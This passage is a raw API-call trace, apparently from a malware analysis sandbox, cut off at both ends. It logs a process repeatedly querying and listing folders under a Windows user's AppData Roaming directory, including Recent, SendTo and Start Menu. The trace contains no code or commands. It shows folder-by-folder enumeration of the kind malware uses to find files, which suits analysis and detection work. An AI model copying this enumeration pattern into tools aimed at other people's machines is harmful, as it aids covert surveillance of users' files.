ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.531] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpFilePart=0x0) returned 0x45 [0068.531] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.531] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.531] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpFilePart=0x0) returned 0x45 [0068.531] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.531] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.531] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", lpFilePart=0x0) returned 0x3c [0068.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\privacie"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xf2ae1600, ftLastAccessTime.dwHighDateTime=0x1d2faa6, ftLastWriteTime.dwLowDateTime=0xf2ae1600, ftLastWriteTime.dwHighDateTime=0x1d2faa6, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", lpFilePart=0x0) returned 0x3c [0068.532] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.532] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low", lpFilePart=0x0) returned 0x40 [0068.532] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\privacie\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb8d08e90, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb8d08e90, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.532] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low", lpFilePart=0x0) returned 0x40 [0068.532] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.533] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low", lpFilePart=0x0) returned 0x40 [0068.533] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.533] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE", lpFilePart=0x0) returned 0x3c [0068.533] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.533] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x3a [0068.533] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\recent"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xcd4fb320, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xcd4fb320, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xc000)) returned 1 [0068.533] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x3a [0068.533] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.534] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.534] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpFilePart=0x0) returned 0x50 [0068.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xcd3f0980, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xcd3f0980, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpFilePart=0x0) returned 0x50 [0068.535] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.535] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpFilePart=0x0) returned 0x50 [0068.535] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.535] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpFilePart=0x0) returned 0x4d [0068.535] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xdcba89c0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xdcba89c0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpFilePart=0x0) returned 0x4d [0068.535] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.536] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.536] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", lpFilePart=0x0) returned 0x4d [0068.536] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.536] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.536] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x3a [0068.536] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.537] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", lpFilePart=0x0) returned 0x3a [0068.537] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\SendTo" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\sendto"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8057690, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.538] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", lpFilePart=0x0) returned 0x3a [0068.538] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.567] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.568] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", lpFilePart=0x0) returned 0x3a [0068.568] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.568] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.569] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x3e [0068.569] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\start menu"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8057690, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xac669e30, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.569] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x3e [0068.569] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.569] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.569] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", lpFilePart=0x0) returned 0x47 [0068.569] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\start menu\\programs"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xacca97f0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xacca97f0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.569] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", lpFilePart=0x0) returned 0x47 [0068.569] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.570] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.570] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", lpFilePart=0x0) returned 0x53 [0068.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8057690, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.570] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", lpFilePart=0x0) returned 0x53 [0068.570] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.570] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.570] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility", lpFilePart=0x0) returned 0x61 [0068.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8057690, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.570] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility", lpFilePart=0x0) returned 0x61 [0068.571] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8ac0 [0068.571] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.571] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility", lpFilePart=0x0) returned 0x61 [0068.571] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8ac0 [0068.571] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.571] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools", lpFilePart=0x0) returned 0x60 [0068.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81fa5b0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xacca97f0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.571] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools", lpFilePart=0x0) returned 0x60 [0068.571] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8ac0 [0068.572] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.572] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools", lpFilePart=0x0) returned 0x60 [0068.572] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fd8ac0 [0068.572] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.572] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", lpFilePart=0x0) returned 0x53 [0068.572] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.573] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative 